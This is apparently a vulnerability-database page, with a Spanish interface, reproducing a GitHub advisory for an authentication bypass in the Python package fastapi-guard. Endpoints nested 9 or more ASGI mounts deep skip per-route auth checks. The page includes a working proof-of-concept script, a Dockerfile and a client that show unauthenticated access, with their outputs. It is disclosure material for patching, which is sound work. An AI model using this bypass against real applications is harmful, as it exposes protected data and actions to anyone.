llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · fastapi-guard

GHSA-F2VM-W8GQ-H378

Per-route Authentication Bypass on Deeply Nested ASGI Mounts in `fastapi-guard`

Texto original en inglés · Ver en español

Parche disponible
Descargar PNG JSON
CVSS 3.1
7.4
Alta
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -14 d de la divulgación
Exposición100 dDesde la divulgación, 12 ago 2026, 1:41 p. m.
Detección99 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 7.3.1
Monitoreo
Detectada +1
29 jul 26
12 ago 26
23 oct 26
20 nov 26
21 nov 26
29 jul 26
27 ago 26
24 sept 26
23 oct 26
21 nov 26
FechaFaseEventoDetalle
Remediación Parche 7.3.1 fastapi-guard · -14 d desde divulgación
Divulgación Publicada GHSA-F2VM-W8GQ-H378 divulgada · CVSS 7.4 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Per-route Authentication Bypass on Deeply Nested ASGI Mounts in `fastapi-guard`

### Summary
`fastapi-guard`'s `SecurityMiddleware` resolves the current request's route by recursively walking the ASGI `Mount` tree in `SecurityMiddleware._match_route()`. This recursive walk is hard-capped at a fixed depth of 8 (`guard/middleware.py:357`, `if depth >= 8: continue`). When a protected endpoint is mounted 9 or more `Mount` levels deep, route resolution silently gives up before reaching it, so `request.state.guard_route_id` is never populated. Downstream, `guard-core`'s route-config resolver and authentication check both treat a missing route/route-config as "nothing to enforce" and return without requiring authentication (fail-open). The net effect is that any endpoint protected by a per-route decorator (e.g. `@guard_deco.require_auth(type="bearer")`) is completely unauthenticated — reachable by any anonymous remote client — once it sits behind 9+ nested mounts, even though the identical decorator correctly enforces a 401 at 8 or fewer nested mounts. This is a remote, unauthenticated confidentiality/integrity bypass of a security control the application developer explicitly configured, rated High severity (CVSS 3.1 base score 7.4).

### Details
The vulnerable code path is entirely inside the packaged `guard/` module (the only package shipped per `pyproject.toml`'s `[tool.hatch.build.targets.wheel]` configuration), so it affects the real, distributed library — not example/demo code.

Call chain (source → sink):

  1. `guard/middleware.py:480` — `SecurityMiddleware.dispatch()` runs on every HTTP request handled by the ASGI app.
  2. `guard/middleware.py:485-487` — `dispatch()` calls `_populate_guard_state()` to attach guard-related state (including `guard_route_id`) to the request before any checks run.
  3. `guard/middleware.py:395-397` — inside `_populate_guard_state()`, if `_resolve_route()` fails to return a matching route object, the function returns early without setting `request.state.guard_route_id`.
  4. `guard/middleware.py:334-342` (`_resolve_route()`) delegates to `_match_route()`, which recursively descends into each ASGI `Mount`'s sub-routes looking for the endpoint that matches the current scope.
  5. `guard/middleware.py:344-364` — `_match_route(routes, scope, depth)` is the recursive resolver. The critical defect:
  6. `guard_core/core/routing/resolver.py:17-19` — the route-config resolver checks for `request.state.guard_route_id`; when absent (because step 5 never set it), it returns `None` for the route configuration.
  7. `guard_core/core/checks/implementations/route_config.py:12-14` — the checks pipeline stores this `None` into `request.state.route_config` without any error or fail-closed default.
  8. `guard_core/core/checks/implementations/authentication.py:50-52` — the authentication check reads `route_config` and, if it is falsy, returns immediately without enforcing authentication:

The combination of (5) unbounded silent truncation of route discovery and (8) "missing config ⇒ skip auth" produces a fail-open authentication bypass: the deeper an endpoint is mounted, the more likely this hardcoded limit is exceeded, and there is no logging, exception, or metric indicating that authentication was skipped due to unresolved route state.

The precondition (9+ nested `Mount` levels) is not a rare or admin-only configuration flag — it is a structural/architectural property of how an application composes its ASGI apps (common in large modular FastAPI applications, API gateways, or plugin-style app composition), and it requires no special privileges or user interaction to trigger from the network. This is reflected in the CVSS vector's `AC:H` (Attack Complexity: High), since the attacker needs to determine/target such a topology, but once identified, exploitation is trivial and repeatable with a plain unauthenticated HTTP request.

### PoC
Both a static/library-level PoC and a fully containerized, black-box dynamic PoC were used to confirm this vulnerability. Either reproduces the issue.

Option A — direct library PoC (Phase 2 static/dynamic reproduction via in-process ASGI transport):

Setup:

python3 -m venv /tmp/fg-poc
/tmp/fg-poc/bin/python -m pip install -U pip
/tmp/fg-poc/bin/python -m pip install fastapi-guard==7.3.0 httpx

Script (`poc_inprocess.py`):

from fastapi import FastAPI
from httpx import AsyncClient, ASGITransport
import asyncio
from guard import SecurityConfig, SecurityDecorator, SecurityMiddleware

async def run_case(mounts: int):
    config = SecurityConfig(
        enable_penetration_detection=False,
        enforce_https=False,
        enable_redis=False,
        enable_rate_limiting=False,
    )
    guard_deco = SecurityDecorator(config)
    apps = [FastAPI() for _ in range(mounts + 1)]

    @guard_deco.require_auth(type="bearer")
    @apps[-1].get("/secret")
    async def secret():
        return {"secret": True}

    for i in range(mounts - 1, -1, -1):
        apps[i].mount(f"/m{i}", apps[i + 1])

    root = apps[0]
    root.add_middleware(SecurityMiddleware, config=config)
    root.state.guard_decorator = guard_deco

    path = "".join(f"/m{i}" for i in range(mounts)) + "/secret"
    async with AsyncClient(transport=ASGITransport(app=root), base_url="http://test") as client:
        r = await client.get(path, follow_redirects=False)
    print(mounts, r.status_code, r.text)

asyncio.run(run_case(8))
asyncio.run(run_case(9))

Expected/observed output:

8 401 Authentication required
9 200 {"secret":true}

Option B — containerized black-box reproduction (Phase 2 dynamic verification), files in this report's `vuln-001/` directory:

Build and run the target exactly as published, with no source modifications (`Dockerfile` copies the unmodified repo checkout and installs it via `pip install /app/repo`):

# from the parent directory containing repo/ and vuln-001/
docker build -f vuln-001/Dockerfile -t vuln001-fastapi-guard .
docker run -d --rm --name vuln001-poc -p 127.0.0.1:8000:8000 vuln001-fastapi-guard

`server.py` (packaged in the image) exposes two independent nested-`Mount` trees using only public `fastapi_guard` APIs (`SecurityMiddleware`, `SecurityDecorator.require_auth`): `/depth8/...` (8 nested mounts, within the recursion limit) and `/depth9/...` (9 nested mounts, exceeding it). Both trees protect an identical `GET /secret` endpoint with `@guard_deco.require_auth(type="bearer")`.

Run the PoC client (`poc.py`) against the running container:

python3 poc.py --host 127.0.0.1 --port 8000

Observed output:

[8 mounts] GET /depth8/m0/m1/m2/m3/m4/m5/m6/m7/secret (no Authorization header) -> 401 Authentication required
[9 mounts] GET /depth9/m0/m1/m2/m3/m4/m5/m6/m7/m8/secret (no Authorization header) -> 200 {"secret":true}

[*] Summary
    8-mount baseline auth enforced (expect 401): True
    9-mount bypass reproduced (expect 200):      True
    9-mount protected payload leaked:            True

[+] VULN-001 CONFIRMED: unauthenticated request reached a bearer-auth-protected endpoint via 9 nested Mount levels while the identical decorator enforced 401 at 8 nested Mount levels.

This is corroborated by the container's own logs: the 8-mount request produces `WARNING - Suspicious activity detected ... Authentication failure: Missing or invalid Bearer token` and `Request blocked by authentication` before returning `401`, while the 9-mount request produces no authentication-related log entries at all and returns `200 OK` directly — demonstrating that the authentication check was never invoked for the deeply nested route.

### Impact
This is a remote, unauthenticated authentication-bypass vulnerability (CWE-287 — Improper Authentication). Any application that uses `fastapi_guard.SecurityMiddleware` together with per-route decorators (`require_auth`, and by the same code path any other decorator-gated check relying on `route_config`) to protect endpoints mounted 9 or more `Mount` levels deep will silently serve those endpoints to unauthenticated, unauthorized remote clients. Impacted parties are:
- End users/operators of any FastAPI application that relies on `fastapi-guard` for per-route bearer/basic/API-key authentication and composes its routers/sub-applications with deep `Mount` nesting (e.g. modular monoliths, plugin architectures, multi-tenant API gateways built from composed FastAPI apps).
- Confidentiality and integrity of the data/actions behind the bypassed endpoint are at risk (arbitrary read/write depending on what the endpoint does), while availability is not directly affected.

There is no indication in logs, responses, or metrics that authentication was skipped, making this bypass silent and difficult to detect operationally.

Reproduction artifacts
`Dockerfile`
# VULN-001 dynamic reproduction image.
#
# Installs the target project (fastapi_guard) from the unmodified local repo
# checkout, exactly as published (packages = ["guard"] per pyproject.toml),
# and runs a reproduction ASGI server exposing the vulnerable code path over
# real HTTP so the bypass can be observed from outside the container.
#
# Build context MUST be the parent directory that contains both `repo/` and
# `vuln-001/`, e.g.:
#   docker build -f vuln-001/Dockerfile -t vuln001-fastapi-guard .

FROM python:3.10-slim

WORKDIR /app

# Copy the unmodified vulnerable repository checkout (no source edits made).
COPY repo/ /app/repo/

RUN pip install --no-cache-dir /app/repo && \
    pip install --no-cache-dir "uvicorn[standard]"

# Copy the reproduction server that exercises SecurityMiddleware._match_route()
# through unmodified, publicly importable fastapi_guard APIs only.
COPY vuln-001/server.py /app/server.py

EXPOSE 8000

CMD ["uvicorn", "server:app", "--host", "0.0.0.0", "--port", "8000"]
`poc.py`
"""
VULN-001 PoC — Per-route Authentication Bypass on Deeply Nested Mounts
(fastapi_guard SecurityMiddleware._match_route(), guard/middleware.py:357)

This script sends REAL HTTP requests over the network to a running instance
of the reproduction server (see server.py / Dockerfile in this directory),
which must already be started and reachable at 127.0.0.1, e.g.:

    docker build -f vuln-001/Dockerfile -t vuln001-fastapi-guard .
    docker run -d --rm --name vuln001-poc -p 127.0.0.1:8000:8000 vuln001-fastapi-guard
    python3 poc.py --host 127.0.0.1 --port 8000

It requests the SAME protected endpoint (`GET /secret`, decorated with
`@guard_deco.require_auth(type="bearer")`) through two nested-mount depths:

  * /depth8/m0/m1/.../m7/secret  -> 8 nested Mount levels (within the
    hardcoded recursion limit) -> expected: 401 Unauthorized (no token sent)
  * /depth9/m0/m1/.../m8/secret  -> 9 nested Mount levels (exceeds the
    hardcoded `depth >= 8` limit in guard/middleware.py:357) -> expected
    (vulnerable) result: 200 OK with the protected payload, even though no
    Authorization header is sent.

No Authorization header is ever sent in either request. If the middleware
enforced authentication correctly, both requests would return 401. The
vulnerability is confirmed if the 9-mount request returns 200 while the
8-mount request (identical decorator, identical server, identical lack of
credentials) returns 401.
"""

from __future__ import annotations

import argparse
import json
import sys
import urllib.error
import urllib.request


def build_path(mounts: int) -> str:
    segments = "".join(f"/m{i}" for i in range(mounts))
    return f"/depth{mounts}{segments}/secret"


def request_no_auth(base_url: str, path: str) -> tuple[int, str]:
    req = urllib.request.Request(base_url + path, method="GET")
    try:
        with urllib.request.urlopen(req, timeout=10) as resp:
            return resp.status, resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as exc:
        return exc.code, exc.read().decode("utf-8", errors="replace")


def main() -> int:
    parser = argparse.ArgumentParser(description="VULN-001 dynamic PoC")
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", default=8000, type=int)
    args = parser.parse_args()

    base_url = f"http://{args.host}:{args.port}"

    print(f"[*] Target: {base_url}")

    health_path = "/healthz"
    try:
        status, body = request_no_auth(base_url, health_path)
        print(f"[*] Health check {health_path} -> {status} {body}")
    except Exception as exc:
        print(f"[!] Could not reach target server: {exc}")
        return 2

    path8 = build_path(8)
    path9 = build_path(9)

    status8, body8 = request_no_auth(base_url, path8)
    print(f"[8 mounts] GET {path8} (no Authorization header) -> {status8} {body8}")

    status9, body9 = request_no_auth(base_url, path9)
    print(f"[9 mounts] GET {path9} (no Authorization header) -> {status9} {body9}")

    baseline_enforced = status8 == 401
    bypass_confirmed = status9 == 200
    try:
        parsed9 = json.loads(body9)
    except json.JSONDecodeError:
        parsed9 = None
    payload_leaked = isinstance(parsed9, dict) and parsed9.get("secret") is True

    print()
    print("[*] Summary")
    print(f"    8-mount baseline auth enforced (expect 401): {baseline_enforced}")
    print(f"    9-mount bypass reproduced (expect 200):      {bypass_confirmed}")
    print(f"    9-mount protected payload leaked:            {payload_leaked}")

    if baseline_enforced and bypass_confirmed and payload_leaked:
        print(
            "\n[+] VULN-001 CONFIRMED: unauthenticated request reached a "
            "bearer-auth-protected endpoint via 9 nested Mount levels while "
            "the identical decorator enforced 401 at 8 nested Mount levels."
        )
        return 0

    print(
        "\n[-] VULN-001 NOT reproduced with this run "
        "(status codes did not match the expected bypass pattern)."
    )
    return 1


if __name__ == "__main__":
    sys.exit(main())

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
fastapi-guard< 7.3.1
7.3.1
8.1.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypifastapi-guard
Corregida 7.3.1 -14 d 8.1.2 no afectada
Versiones corregidas7.3.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Guard-Core/fastapi-guard/security/advisories/GHSA-f2vm-w8gq-h378

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.